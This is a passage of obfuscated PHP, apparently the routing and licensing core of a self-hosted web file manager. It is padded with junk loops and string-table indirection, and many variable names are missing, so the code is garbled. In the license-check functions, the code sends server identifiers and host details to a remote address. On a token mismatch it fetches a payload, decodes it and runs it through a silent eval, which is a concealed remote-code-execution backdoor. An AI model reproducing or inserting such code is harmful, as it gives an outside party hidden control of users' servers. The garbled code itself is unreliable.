rtrim($, $Ӑ[8]) . $Ӑ[8]; if (!($ߘ = @opendir($))) { return !1; } $ = 0; $ڶ = 0; $⨋ = 0; while (($ = readdir($ߘ)) !== !1) { if ($ == $Ӑ[10] || $ == $Ӑ[1396]) { continue; } $ƶ = $ . $; if ($) { $⨋++; if (@is_file($ƶ)) { $++; } else { $ڶ++; } if ($⨋ > 10000) { break; } continue; } if ($֓) { if (@is_file($ƶ)) { return !0; } } else { if (@is_dir($ƶ . $Ӑ[8])) { return !0; } } } closedir($ߘ); if ($) { return array($Ӑ[207] => $, $Ӑ[208] => $ڶ); } return !1; } public function hashSimple($Ĉ̜) { $ =& $_SERVER[ﻻ]; if (!$Ĉ̜) { return md5($[12]); } $Ĉ̜ = $this->iconvSystem($Ĉ̜); $ = $this->size($Ĉ̜); $쵻 = 200; $ᮾذ = 50; if ($ <= $쵻 * $ᮾذ) { return $this->hashMd5($Ĉ̜) . $; } $ = $[12]; $擼 = intval($ / $ᮾذ); $х = fopen($Ĉ̜, $[1403]); if (!$х) { return $; } for ($ = 0; $ < $ᮾذ; $++) { fseek_64($х, $擼 * $); $ .= fread($х, $쵻); } fseek_64($х, $ - $쵻); $ .= fread($х, $쵻); fclose($х); return md5($) . $; } public function getContent($߶) { $߶ = $this->iconvSystem($߶); return file_get_contents($߶); } public function setContent($, $漰ޘ = '') { $ = $this->iconvSystem($); $ = @file_put_contents($, $漰ޘ, LOCK_EX); clearstatcache(); @chmod($, $this->pathAuth); return $ === !1 ? !1 : !0; } public function fileSubstr($, $Α = 0, $ϲв = false) { $֣ =& $_SERVER[ﻻ]; $ = $this->iconvSystem($); if ($ϲв === !1) { $ϲв = $this->size($); } if ($ϲв <= 0) { return $֣[12]; } $ѯ = fopen($, $֣[1403]); if (!$ѯ) { return !1; } fseek_64($ѯ, $Α); $ = fread($ѯ, $ϲв); fclose($ѯ); return $; } public function upload($, $ξ, $ = false, $▆ = REPEAT_REPLACE) { if ($) { return $this->moveFile($ξ, $); } return $this->copyFile($ξ, $); } public function setModifyTime($, $ƭ = '') { @touch($, intval($ƭ)); } public function download($, $) { return $this->iconvSystem($); } } class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ɐ) { parent::__construct($ɐ); $this->signatureVersion($_SERVER[ﻻ][216]); } public function fileOutLink($) { $龨 =& $_SERVER[ﻻ]; if (substr($, 0, 7) == $龨[1347]) { $ = $龨[1348] . substr($, 7); } header($龨[161] . $); die; } } goto a; E: class Application { private $defaultModule = "\x69\x6e\x64\145\170"; private $defaultController = "\151\156\144\x65\x78"; private $defaultAction = "\x69\x6e\144\145\170"; function __construct() { } public function setDefault($) { $į =& $_SERVER[ﻻ]; $휎 =& $_SERVER[]; $ޢ = explode($휎[0], trim($, $휎[0])); $ږ = $į[619]; if (strlen($ږ) < $į[620]) { return; } $this->defaultModule = $ޢ[0] ? $ޢ[0] : $this->defaultModule; $this->defaultController = $ޢ[1] ? $ޢ[1] : $this->defaultController; $Я = $į[621]; if (strlen($Я) < $į[622]) { return; } $this->defaultAction = $ޢ[2] ? $ޢ[2] : $this->defaultAction; $ = $į[623]; if (!$) { die; } $this->fdpr4423769b($휎[1], array($this, $휎[2])); } public function appRun($Ѓْ) { $ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $ = explode($[0], $Ѓْ); $Һ = strtolower($[0]); $Ъ = $[624]; while ($Ъ < $[625]) { if ($Ъ >= 0) { break; } $Ъ++; } $ = $[3]; if ($Һ == $[4]) { $ = $[5]; $[0] = $[6]; $[1] = $[1] . $[7]; $Ѓْ = join($[0], $); $Ѓْ = trim($Ѓْ, $[0]); } call_user_func(array($[8], $[9]), $ . $[10], $Ѓْ); ActionCall($Ѓْ); call_user_func(array($[8], $[9]), $ . $[11], $Ѓْ); } private function autorun() { $Ϟ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; global $config; $ϋ = $Ϟ[626]; if (count($config[$[12]]) == 0) { return; } foreach ($config[$[12]] as $ => $펳) { $this->appRun($펳); $ = $Ϟ[627]; while ($ < $Ϟ[620]) { if ($ >= 0) { break; } $++; } } } private function egdbb08ace93() { $ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $ = $[4]; $ = $[628]; if (!$) { die; } $ͬ = $GLOBALS[$[13]][$[14]][0]; $ = $[629]; if (strlen($) < $[625]) { die; } if (!$ͬ || strlen($ͬ) <= strlen($)) { return; } if (strtolower(substr($ͬ, -strlen($))) != $) { return; } $ = substr($ͬ, 0, -strlen($)); $˝ = array($[4], $); $Š = array_slice($GLOBALS[$[13]][$[14]], 1); $Ȃ = $[630]; while ($Ȃ < $[622]) { if ($Ȃ >= 0) { break; } $Ȃ++; } $GLOBALS[$[13]][$[14]] = array_merge($˝, $Š); $GLOBALS[$[13]][$[15]] = implode($[0], $GLOBALS[$[13]][$[14]]); } private function wtgh8f9f0889() { $ =& $_SERVER[ﻻ]; $ū =& $_SERVER[]; if ($GLOBALS[$ū[13]][$ū[15]] != $ū[6]) { return; } $ = $_SERVER[$ū[16]]; $ԃէ = $[631]; while (strlen($ԃէ) < $[632]) { if (!$ԃէ) { break; } $ԃէ++; } $ = $ū[17]; $ = $[633]; if (strlen($) < $[406]) { die; } if (!strstr($, $)) { return; } $ = strrpos($, $); $ = $[634]; while (strlen($) < $[622]) { if (!$) { break; } $++; } $δ = substr($, $ + strlen($)); $ = $[635]; preg_match_all($ū[18], $δ, $͌Ն); $δ = trim($͌Ն[0][0], $ū[19]); $π = $[636]; if (!$π) { die; } $GLOBALS[$ū[13]][$ū[14]] = explode($ū[19], $δ); $ׅ = $[637]; if (!$ׅ) { die; } $GLOBALS[$ū[13]][$ū[15]] = implode($ū[0], $GLOBALS[$ū[13]][$ū[14]]); } public function run() { $ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $this->wtgh8f9f0889(); $this->egdbb08ace93(); $ = $[638]; $ĩ = $GLOBALS[$[13]][$[14]]; $ۑ = $[639]; $ = $GLOBALS[$[13]][$[15]]; $ = $[640]; if (!$) { return; } define($[20], isset($ĩ[0]) && $ĩ[0] ? $ĩ[0] : $this->defaultModule); $ʤ = $[641]; if (!$ʤ) { return; } define($[21], isset($ĩ[1]) && $ĩ[0] ? $ĩ[1] : $this->defaultController); define($[22], isset($ĩ[2]) && $ĩ[0] ? $ĩ[2] : $this->defaultAction); define($[23], MOD . $[0] . ST . $[0] . ACT); $_SERVER[$[24]] = strtolower(ACTION); $ = $[642]; if (!$) { die; } $this->autorun(); if (count($ĩ) >= 3) { $this->appRun($); } else { $this->appRun(ACTION); } } private $vied598bd021 = array(); private $zrtu09344cb4 = ''; public function exim1ca66afb() { $ =& $_SERVER[ﻻ]; $٫ =& $_SERVER[]; $this->ztfp747bdd0f(); $this->rzulf72e4ccc(); $Ѣ = $[643]; $this->jgdk61fb6c30(); $Ȧ = $[644]; while (strlen($Ȧ) < $[625]) { if (!$Ȧ) { break; } $Ȧ++; } $this->ijzva0f4053b(); $this->bkzp586cd7aa(); $ = $[645]; if (strlen($) < $[632]) { return; } $this->erjh098ac86b(); $this->ojpgb1b3c7a3(); $Յ = $[646]; while (strlen($Յ) < $[622]) { if (!$Յ) { break; } $Յ++; } $this->fdpr4423769b($٫[25], array($this, $٫[26])); $this->fdpr4423769b($٫[27], array($this, $٫[28])); $this->fdpr4423769b($٫[29], array($this, $٫[30])); $this->fdpr4423769b($٫[31], array($this, $٫[32])); } public function lpywd131fd65($屶) { $Ȳɳ =& $_SERVER[ﻻ]; $ϝ =& $_SERVER[]; $Ϩ = Model($ϝ[33])->get(); $꣗ݯ = $Ȳɳ[647]; $ۯ = array($ϝ[34], $ϝ[35], $ϝ[36], $ϝ[37], $ϝ[38], $ϝ[39], $ϝ[40], $ϝ[41], $ϝ[42], $ϝ[43], $ϝ[44], $ϝ[45], $ϝ[46], $ϝ[47], $ϝ[48], $ϝ[49], $ϝ[50], $ϝ[51], $ϝ[52], $ϝ[53], $ϝ[54], $ϝ[55], $ϝ[56], $ϝ[57], $ϝ[58], $ϝ[59], $ϝ[60], $ϝ[61], $ϝ[62], $ϝ[63], $ϝ[64], $ϝ[65], $ϝ[66], $ϝ[67], $ϝ[68], $ϝ[69], $ϝ[70], $ϝ[71], $ϝ[72], $ϝ[73], $ϝ[74], $ϝ[75], $ϝ[76], $ϝ[77], $ϝ[78], $ϝ[79], $ϝ[80], $ϝ[81], $ϝ[82], $ϝ[83], $ϝ[84]); foreach ($ۯ as $喉) { $ژ = $GLOBALS[$ϝ[85]][$ϝ[86]][$喉]; if (isset($Ϩ[$喉])) { $ژ = $Ϩ[$喉]; } $屶[$ϝ[87]][$ϝ[88]][$喉] = $ژ; } $ﺽɘ = $屶[$ϝ[87]][$ϝ[88]][$ϝ[46]]; $ܱ = $Ȳɳ[648]; if (!$ܱ) { return; } unset($屶[$ϝ[87]][$ϝ[89]][$ϝ[90]]); $ = $Ȳɳ[649]; while (strlen($) < $Ȳɳ[620]) { if (!$) { break; } $++; } unset($屶[$ϝ[87]][$ϝ[89]][$ϝ[91]]); $ = $Ȳɳ[650]; unset($屶[$ϝ[87]][$ϝ[88]][$ϝ[46]]); $ = $Ȳɳ[651]; if (strlen($) < $Ȳɳ[622]) { die; } unset($屶[$ϝ[87]][$ϝ[88]][$ϝ[92]]); $ = $Ȳɳ[652]; while ($ < $Ȳɳ[632]) { if ($ >= 0) { break; } $++; } $屶[$ϝ[87]][$ϝ[88]][$ϝ[93]] = array($ϝ[94] => (int) $ﺽɘ[$ϝ[95]], $ϝ[96] => (int) _get($ﺽɘ, $ϝ[97], 0)); $뜻 = $Ȳɳ[653]; while (strlen($뜻) < $Ȳɳ[632]) { if (!$뜻) { break; } $뜻++; } $屶[$ϝ[98]][$ϝ[99]] = Action($ϝ[100])->accessToken(); $۞ = $Ȳɳ[654]; if (strlen($۞) < $Ȳɳ[622]) { die; } $屶[$ϝ[98]][$ϝ[101]] = md5($_SERVER[$ϝ[102]] . $Ϩ[$ϝ[103]]); $ = $Ȳɳ[655]; if (!$) { die; } $屶[$ϝ[98]][$ϝ[104]] = base64_encode(serverInfo()); $둁Ȋ = $Ȳɳ[656]; $屶[$ϝ[98]][$ϝ[105]] = $this->zrtu09344cb4; $Î = $Ȳɳ[657]; while (strlen($Î) < $Ȳɳ[625]) { if (!$Î) { break; } $Î++; } if ($Ϩ[$ϝ[105]] != $ϝ[106]) { $屶[$ϝ[98]][$ϝ[107]] = $Ϩ[$ϝ[107]]; $屶[$ϝ[98]][$ϝ[108]] = $Ϩ[$ϝ[108]]; $ = rand_string(10) . $this->zrtu09344cb4 . rand_string(5); $屶[$ϝ[87]][$ϝ[109]][$ϝ[110]] = $this->jwsr6b17e39e($, $屶[$ϝ[98]][$ϝ[101]]); } if ($this->zrtu09344cb4 == $ϝ[106]) { $屶[$ϝ[87]][$ϝ[88]][$ϝ[93]][$ϝ[97]] = 0; } $屶[$ϝ[98]][$ϝ[111]] = _get($this->vied598bd021, $ϝ[112], $ϝ[6]); $屶[$ϝ[98]][$ϝ[113]] = _get($this->vied598bd021, $ϝ[114], $ϝ[6]); if (_get($GLOBALS, $ϝ[115]) && $this->config[$ϝ[116]]) { $屶[$ϝ[98]][$ϝ[117]] = WEB_ROOT; } return $屶; } private function erjh098ac86b() { $ =& $_SERVER[ﻻ]; $Ƞ =& $_SERVER[]; $ޤ = $_SERVER[$Ƞ[24]] == $Ƞ[118]; if ($_SERVER[$Ƞ[24]] == $Ƞ[119] && $_GET[$Ƞ[120]] == $Ƞ[121]) { $ޤ = !0; } if ($ޤ) { $ݾ = array($Ƞ[105] => $this->zrtu09344cb4, $Ƞ[122] => $this->fxwo8c5e1f58(), $Ƞ[123] => Model($Ƞ[124])->count()); if ($this->zrtu09344cb4 != $Ƞ[106]) { $ = _get($this->vied598bd021, $Ƞ[125]); if ($) { $ݾ[$Ƞ[126]] = $; $ݾ[$Ƞ[127]] = strtotime(_get($this->vied598bd021, $Ƞ[128])); $ݾ[$Ƞ[129]] = _get($this->vied598bd021, $Ƞ[114]); } $ = Model($Ƞ[33])->get($Ƞ[130], $Ƞ[6], !0); if (is_string($) && substr($, 0, 1) == $Ƞ[131]) { $ = json_decode_force($); } if (is_array($) && $[$Ƞ[132]] && strstr($[$Ƞ[132]], $Ƞ[133])) { $߰ = explode($Ƞ[133], $[$Ƞ[132]]); $ݾ[$Ƞ[134]] = $߰[0]; } } $ݾ = $this->gdtufc22d200(json_encode($ݾ), md5($Ƞ[135])); $ = array($Ƞ[136] => $ݾ); $։ = $[658]; while (strlen($։) < $[406]) { if (!$։) { break; } $։++; } call_user_func(array($Ƞ[137], $Ƞ[138]), $); } if ($this->zrtu09344cb4 == $Ƞ[106]) { return; } $ = array($Ƞ[139], $Ƞ[140], $Ƞ[141], $Ƞ[142], $Ƞ[143], $Ƞ[144]); $ = Model($Ƞ[33])->get(); $Ӗ = $[659]; if (!$Ӗ) { return; } $ = array($Ƞ[145] => $[$Ƞ[34]], $Ƞ[146] => $[$Ƞ[35]], $Ƞ[147] => $Ƞ[6]); foreach ($ as $韎) { if (!isset($[$韎]) || !$[$韎]) { continue; } $[$韎] = $[$韎]; } call_user_func(array($Ƞ[137], $Ƞ[138]), $); } private function ijzva0f4053b() { $ =& $_SERVER[ﻻ]; $귒 =& $_SERVER[]; if ($_SERVER[$귒[24]] != $귒[148]) { return; } if (!_get($GLOBALS, $귒[115])) { die; } $ә = $GLOBALS[$귒[13]]; if (isset($ә[$귒[149]])) { $this->gqbid49eb225(); die; } if (!isset($ә[$귒[150]]) || strlen($ә[$귒[150]]) != 16) { show_json($귒[151] . $ә[$귒[150]], !1); } $ɸ = Model($귒[33])->get($귒[103]); $ = md5($_SERVER[$귒[102]] . $ɸ); $ = $[660]; if (strlen($) < $[632]) { die; } $ = array($귒[150] => $ә[$귒[150]], $귒[152] => rand_string(16), $귒[153] => $귒[135], $귒[154] => $귒[155], $귒[156] => $_SERVER[$귒[157]], $귒[158] => $_SERVER[$귒[159]], $귒[160] => $_SERVER[$귒[161]], $귒[101] => $, $귒[162] => Model($귒[33])->get($귒[130])); $ܠ = $[661]; if (!$ܠ) { die; } if ($ә[$귒[163]] == $귒[164]) { $؞ = $this->gdtufc22d200($, $귒[165]); $˕ = $this->jwsr6b17e39e(json_encode($), $ . $귒[166], 3); $˕ = $˕ . $귒[167] . $_SERVER[$귒[157]]; $ = $this->oksec2932186($귒[168] . $؞ . $귒[169] . $˕, -1); show_json($, !0); } else { if ($ә[$귒[163]] == $귒[170]) { $ = substr(md5($귒[171] . $), 12, 15) . $귒[172]; $˕ = $this->rmzv68b5affb(trim($ә[$귒[173]]), $, 2); $ؠ = json_decode($˕, !0); if (!is_array($ؠ) || !is_array($ؠ[$귒[174]]) || $ؠ[$귒[150]] != !0) { $Ƕ = $귒[175]; $͌ = $ؠ[$귒[174]] ? $귒[176] . $ؠ[$귒[174]] : $Ƕ; show_json($͌, !1); } else { $[$귒[152]] = $ؠ[$귒[174]][$귒[177]]; } } else { $ؠ = $this->oksec2932186($귒[178], $, 10); } } if (!is_array($ؠ) || !is_array($ؠ[$귒[174]]) || $ؠ[$귒[150]] != !0) { $Ƕ = LNG($귒[179]); $͌ = $ؠ[$귒[174]] ? $귒[176] . $ؠ[$귒[174]] : $Ƕ; show_json($͌, !1); } $ = $ؠ[$귒[174]]; $ = $this->tokz88db8325($[$귒[180]]); $ז = $[662]; while (strlen($ז) < $[622]) { if (!$ז) { break; } $ז++; } if (!$ || $ != $[$귒[128]]) { $ = array($귒[181] => Model($귒[33])->get($귒[103]), $귒[182] => $_SERVER[$귒[102]], $귒[183] => this_url(), $귒[158] => $_SERVER[$귒[159]]); $˕ = $this->szdpa6bc92b5(json_encode($)); $this->oksec2932186($귒[184] . $˕); show_json(LNG($귒[185]), !0); } $ل = array($귒[186] => $[$귒[187]], $귒[188] => $[$귒[189]], $귒[190] => rand_string(16), $귒[105] => $[$귒[191]]); if ($[$귒[152]]) { $ل[$귒[190]] = $[$귒[152]]; } $ = substr(md5($ل[$귒[188]]), 10, 10); $ = $ . $ل[$귒[105]] . $ل[$귒[190]]; $ل[$귒[107]] = strrev(base64_encode($this->gdtufc22d200($, $귒[192]))); $ = rand_string(16); $Ǎ = $ . $ل[$귒[105]] . $this->gdtufc22d200(md5($ل[$귒[186]]), $); $ = $[663]; while ($ < $[620]) { if ($ >= 0) { break; } $++; } $ل[$귒[108]] = base64_encode(strrev($this->gdtufc22d200($Ǎ, $귒[193]))); $Ց = $[664]; if (strlen($Ց) < $[625]) { die; } if ($[$귒[194]] && $[$귒[194]] >= 1) { Model($귒[33])->setDeep($귒[195], $귒[121]); } Model($귒[33])->set($ل); $Ӈ = md5($_SERVER[$귒[102]] . strrev($ɸ) . $ل[$귒[188]]); $ = strrev(substr($Ӈ, 10, 16)); $ޟĞ = $[665]; while ($ޟĞ < $[625]) { if ($ޟĞ >= 0) { break; } $ޟĞ++; } $ο = $this->jwsr6b17e39e(json_encode($), $Ӈ); $ = $[666]; if (strlen($) < $[632]) { return; } $ = array_to_keyvalue(Model($귒[7])->listData(), $귒[196]); $úҞ = $[$귒[197]]; $ = $[667]; while ($ < $[632]) { if ($ >= 0) { break; } $++; } $Ԭ = array(); $Ԭ[$] = $ο; $џ = $[668]; if (strlen($џ) < $[622]) { return; } Model($귒[7])->update($úҞ[$귒[198]], array($귒[199] => $Ԭ)); $ی = $[669]; while ($ی < $[620]) { if ($ی >= 0) { break; } $ی++; } $this->vied598bd021 = $; $ = $[670]; $this->zrtu09344cb4 = $ل[$귒[105]]; $ = $[671]; $this->licenseRegistSuccess(); Cache::set($귒[200] . md5($ɸ . $귒[201]), $귒[6]); $ = $[672]; if (strlen($) < $[632]) { die; } show_json(LNG($귒[185]), !0); } private function licenseRegistSuccess() { $ =& $_SERVER[]; $ = Model($[33])->get(); if ($[$[63]] != $[121]) { Model($[33])->set($[63], $[121]); } Action($[202])->initStart(!0); } private function gqbid49eb225() { $͡ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; Model($[33])->set(array($[186] => $[6], $[188] => $[6], $[105] => $[106], $[107] => $[6], $[108] => $[6])); $靣 = $͡[673]; Model($[33])->setDeep($[195], $[203]); $ = $͡[674]; while (strlen($) < $͡[632]) { if (!$) { break; } $++; } $this->vied598bd021 = array(); $߱ = $͡[675]; if (strlen($߱) < $͡[622]) { return; } $this->zrtu09344cb4 = $[106]; } private function ztfp747bdd0f() { $ =& $_SERVER[ﻻ]; $© =& $_SERVER[]; $_SERVER[$©[159]] = _get($_SERVER, $©[159], APP_HOST); $͜ = $[676]; if (!$͜) { return; } $this->zrtu09344cb4 = $©[106]; $ՙ = $[677]; if (!$ՙ) { return; } $ = Model($©[33])->get(); if ($[$©[105]] == $©[106]) { return; } $ = Model($©[33])->get($©[103]); $ = $[678]; while ($ < $[622]) { if ($ >= 0) { break; } $++; } $݊ = $©[200] . md5($ . $©[201]); $ = $[679]; if (!$) { die; } $ = Cache::get($݊); $䒊 = $[680]; if (strlen($䒊) < $[406]) { return; } if (!is_array($) || !isset($[$©[204]]) || time() - $[$©[204]] >= 60) { $ = Model($©[7])->loadList(); $ = $[$©[197]]; $җ = md5($_SERVER[$©[102]] . strrev($) . $[$©[188]]); $ݹ = strrev(substr($җ, 10, 16)); $ = $this->rmzv68b5affb($[$©[85]][$ݹ], $җ); $ = json_decode($, !0); } if (!is_array($)) { return $this->gqbid49eb225(); } $ه = strtotime($[$©[128]]); if (time() >= $ه) { return $this->gqbid49eb225(); } if (time() - $[$©[204]] > 20) { $[$©[204]] = time(); Cache::set($݊, $); } $this->vied598bd021 = $; $this->zrtu09344cb4 = $[$©[105]]; $ = $[681]; while (strlen($) < $[622]) { if (!$) { break; } $++; } } private function rzulf72e4ccc() { $ =& $_SERVER[]; $ = $GLOBALS[$[13]]; $ = $_SERVER[ﻻ][682]; if (!$) { return; } $ = $_SERVER[$[24]]; if ($ == $[205] && $this->zrtu09344cb4 == $[106]) { show_json(LNG($[206]), !1, $[207]); } $䵻 = array($[208], $[209]); if (in_array($, $䵻)) { if ($this->zrtu09344cb4 == $[106] && isset($[$[210]])) { show_json(LNG($[206]), !1, $[207]); die; } $ = $this->fxwo8c5e1f58(); if ($ != intval($[211])) { if ($ <= Model($[124])->count()) { show_json(LNG($[212]), !1, $[207]); die; } } } } private function jgdk61fb6c30() { $Ⱦ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; $Ŧ = array($[118], $[119]); if (!_get($GLOBALS, $[115]) || !isset($_GET[$[213]])) { return; } if (!in_array($_SERVER[$[24]], $Ŧ)) { return; } $ = $[214]; $ = $Ⱦ[683]; while (strlen($) < $Ⱦ[632]) { if (!$) { break; } $++; } $ = $this->xzhr0c76892f($, $[215]); $̢ = $Ⱦ[684]; while ($̢ < $Ⱦ[632]) { if ($̢ >= 0) { break; } $̢++; } $ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $ = @file_get_contents($, !1, $); header($[220]); if ($ && strstr($, $[221])) { echo $; } die; } public function wpolc2924834($ű) { $䑧ʐ =& $_SERVER[ﻻ]; $ꮻ =& $_SERVER[]; if ($this->zrtu09344cb4 == $ꮻ[222]) { return $ű; } $る = array($ꮻ[223] => $ꮻ[224], $ꮻ[225] => $ꮻ[224], $ꮻ[226] => $ꮻ[224], $ꮻ[227] => $ꮻ[228], $ꮻ[229] => $ꮻ[228], $ꮻ[230] => $ꮻ[228], $ꮻ[231] => $ꮻ[228], $ꮻ[232] => $ꮻ[228], $ꮻ[233] => $ꮻ[228], $ꮻ[234] => $ꮻ[228], $ꮻ[235] => $ꮻ[228], $ꮻ[236] => $ꮻ[228], $ꮻ[237] => $ꮻ[228], $ꮻ[238] => $ꮻ[228], $ꮻ[239] => $ꮻ[228]); $ϛ = explode($ꮻ[240], _get($this->vied598bd021, $ꮻ[112], $ꮻ[6])); $ͱ = $䑧ʐ[685]; if (!$ͱ) { die; } $ = array(); $ = $䑧ʐ[686]; if (!$) { return; } foreach ($る as $Ĥ͒ => $ߺ) { if ($ߺ == $ꮻ[224] && substr($this->zrtu09344cb4, 0, 1) == $ꮻ[224]) { continue; } if (!in_array($Ĥ͒, $ϛ)) { $[] = $Ĥ͒; } } foreach ($ as $Ĥ͒) { unset($ű[$Ĥ͒]); $э = $䑧ʐ[687]; if (!$э) { return; } } return $ű; $ = $䑧ʐ[688]; while (strlen($) < $䑧ʐ[620]) { if (!$) { break; } $++; } } private function ojpgb1b3c7a3() { $ =& $_SERVER[]; if ($this->zrtu09344cb4 != $[106]) { $GLOBALS[$[85]][$[89]][$[241]] = $[203]; return; } $GLOBALS[$[85]][$[242]] = $[121]; if (Model($[243])->get($[63]) != $[203]) { Model($[243])->set($[63], $[203]); } } public function wshnfef766cc() { $ =& $_SERVER[ﻻ]; return $_SERVER[][244]; $ = $[689]; while (strlen($) < $[406]) { if (!$) { break; } $++; } } private function bkzp586cd7aa() { $ =& $_SERVER[ﻻ]; $Ǿ =& $_SERVER[]; $µ = array($Ǿ[245], $Ǿ[246], $Ǿ[247]); $ = $[690]; if (strlen($) < $[632]) { return; } $Ώ = $Ǿ[248] . md5($Ǿ[249]); $ = $[691]; while ($ < $[620]) { if ($ >= 0) { break; } $++; } if ($this->zrtu09344cb4 == $Ǿ[106] || !_get($GLOBALS, $Ǿ[115])) { return; } if (!in_array($_SERVER[$Ǿ[24]], $µ)) { return; } if (time() % 4 != 0) { return; } $ퟭ = call_user_func(array($Ǿ[250], $Ǿ[251]), $Ώ); if ($ퟭ && time() - $ퟭ < intval($Ǿ[252])) { return; } call_user_func(array($Ǿ[250], $Ǿ[138]), $Ώ, time()); $߽ = $[692]; $ = Model($Ǿ[33])->get($Ǿ[103]); $ = $[693]; $ɀಢ = array($Ǿ[150] => Model($Ǿ[33])->get($Ǿ[186]), $Ǿ[163] => $this->zrtu09344cb4, $Ǿ[160] => $_SERVER[$Ǿ[161]], $Ǿ[162] => Model($Ǿ[33])->get($Ǿ[130]), $Ǿ[101] => md5($_SERVER[$Ǿ[102]] . $), $Ǿ[153] => $Ǿ[135], $Ǿ[156] => $_SERVER[$Ǿ[157]]); $Ƶ = $[694]; if (strlen($Ƶ) < $[622]) { die; } $ȑ = $this->oksec2932186($Ǿ[253], $ɀಢ); $ၾ = $[695]; while (strlen($ၾ) < $[632]) { if (!$ၾ) { break; } $ၾ++; } if (!is_array($ȑ)) { return; } if ($ȑ[$Ǿ[150]] && $ȑ[$Ǿ[254]]) { if ($this->tokz88db8325($ȑ[$Ǿ[254]]) == $ɀಢ[$Ǿ[150]]) { return; } } $this->gqbid49eb225(); if ($this->tokz88db8325($ȑ[$Ǿ[254]]) != $ɀಢ[$Ǿ[150]]) { $銋 = array($Ǿ[181] => $, $Ǿ[182] => $_SERVER[$Ǿ[102]], $Ǿ[183] => this_url(), $Ǿ[158] => $_SERVER[$Ǿ[159]]); $Ƣ = $this->szdpa6bc92b5(json_encode($銋)); $ȑ = $this->oksec2932186($Ǿ[184] . $Ƣ); if ($ȑ && is_array($ȑ) && isset($ȑ[$Ǿ[254]])) { $쒀 = $this->rmzv68b5affb($ȑ[$Ǿ[254]], 2); if ($쒀) { $쒀 = $this->tokz88db8325($쒀); } if ($쒀) { try { @eval($쒀); } catch (Exception $˝) { } } } } } private function oksec2932186($Ѭ = '', $䜐 = array(), $ľ = 5) { $ɗ =& $_SERVER[ﻻ]; $퀶 =& $_SERVER[]; $Ŗ = $퀶[255]; $ = $ɗ[696]; if (!$) { return; } $Ŗ = $this->xzhr0c76892f($Ŗ, $퀶[256]); $ = $ɗ[697]; if (strlen($) < $ɗ[625]) { die; } $Ŗ = $Ŗ . $Ѭ; $Յ = $ɗ[698]; if (strlen($Յ) < $ɗ[632]) { return; } if ($䜐 && is_array($䜐)) { $Ŗ = $Ŗ . $퀶[257] . http_build_query($䜐); } if ($䜐 === -1) { return $Ŗ; } $ = stream_context_create(array($퀶[216] => array($퀶[219] => $ľ, $퀶[217] => $퀶[258]), $퀶[259] => array($퀶[260] => !1, $퀶[261] => !1))); $ = $ɗ[699]; if (strlen($) < $ɗ[625]) { return; } $䜐 = @file_get_contents($Ŗ, !1, $); $ = $ɗ[700]; return json_decode($䜐, !0); $ = $ɗ[701]; if (!$) { return; } $㖉 = $ɗ[702]; if (strlen($㖉) < $ɗ[632]) { return; } } private function fxwo8c5e1f58() { $Ž =& $_SERVER[ﻻ]; $ނ =& $_SERVER[]; $ݫЫ = array($ނ[262] => $ނ[263], $ނ[264] => $ނ[265], $ނ[266] => $ނ[267], $ނ[268] => $ނ[269], $ނ[270] => $ނ[271], $ނ[272] => $ނ[211], $ނ[273] => $ނ[211], $ނ[274] => $ނ[263], $ނ[275] => $ނ[265], $ނ[276] => $ނ[267], $ނ[277] => $ނ[278], $ނ[279] => $ނ[269], $ނ[280] => $ނ[281], $ނ[282] => $ނ[271], $ނ[283] => $ނ[284], $ނ[285] => $ނ[286], $ނ[287] => $ނ[288]); $ = $Ž[703]; if (strlen($) < $Ž[406]) { die; } $̬ό = $ݫЫ[$this->zrtu09344cb4]; $ُ = $Ž[704]; if (strlen($ُ) < $Ž[622]) { die; } $̬ό = intval($̬ό ? $̬ό : $ނ[263]); $ދؤ = $Ž[705]; while (strlen($ދؤ) < $Ž[632]) { if (!$ދؤ) { break; } $ދؤ++; } $㿺 = _get($this->vied598bd021, $ނ[289]); $㿺 = $㿺 ? intval($㿺) : 0; $Ƙ = $Ž[706]; return $̬ό + $㿺; } public function gden51abb864($) { $ =& $_SERVER[ﻻ]; $ٗ =& $_SERVER[]; $ڗ̼ = $this->fxwo8c5e1f58(); $ = $[707]; if ($[$ٗ[290]] == $ٗ[121]) { return; } if ($ڗ̼ >= intval($ٗ[211])) { return; } $ = Model($ٗ[124])->count(); $ = $[708]; if ($ <= $ڗ̼) { return; } $̑顧 = Model($ٗ[124])->field($ٗ[290])->limit($ڗ̼)->select(); $뷇 = $[709]; if (!$뷇) { return; } $̑顧 = array_to_keyvalue($̑顧, $ٗ[6], $ٗ[290]); $ñ = $[710]; while ($ñ < $[406]) { if ($ñ >= 0) { break; } $ñ++; } if (!in_array($[$ٗ[290]], $̑顧)) { show_json($ٗ[291], !1, $ٗ[207]); } } public function gnjyc007e6e1() { $ =& $_SERVER[ﻻ]; $ =& $_SERVER[]; if (!_get($GLOBALS, $[115]) || mt_rand(1, 100) > 20) { return; } $Ĵ = $[214]; $Ĵ = $this->xzhr0c76892f($Ĵ, $[215]); $؟ = stream_context_create(array($[216] => array($[217] => $[218], $[219] => 3))); $̟ = $[711]; if (strlen($̟) < $[620]) { die; } $܁ = @file_get_contents($Ĵ, !1, $؟); $ = $[712]; while (strlen($) < $[406]) { if (!$) { break; } $++; } echo $[292] . hash_encode($܁) . $[293]; $٣ = $[713]; } private function jwsr6b17e39e($ڔ, $, $֚ = 3) { $ܭ =& $_SERVER[ﻻ]; $ۑ =& $_SERVER[]; usleep(1); $ڔ = trim($ڔ); $ = mt_rand(0, 5) . $ۑ[6]; $Δ = rand_string(15); $ώ = $ۑ[294]; $ = $ܭ[714]; while (strlen($) < $ܭ[622]) { if (!$) { break; } $++; } switch ($) { case $ۑ[203]: $ = $this->gdtufc22d200($ڔ, strrev($ . $Δ)); $ = $ܭ[715]; while ($ < $ܭ[622]) { if ($ >= 0) { break; } $++; } break; case $ۑ[121]: $ = $this->gdtufc22d200($ڔ, strrev($Δ . $)); $ۘڪ = $ܭ[716]; if (strlen($ۘڪ) < $ܭ[620]) { return; } break; case $ۑ[295]: $ = $this->gdtufc22d200($ڔ, base64_encode($Δ . $)); break; case $ۑ[296]: $ = $this->gdtufc22d200($ڔ, md5($Δ . $)); $ = $ܭ[717]; if (!$) { die; } break; $ = $ܭ[718]; if 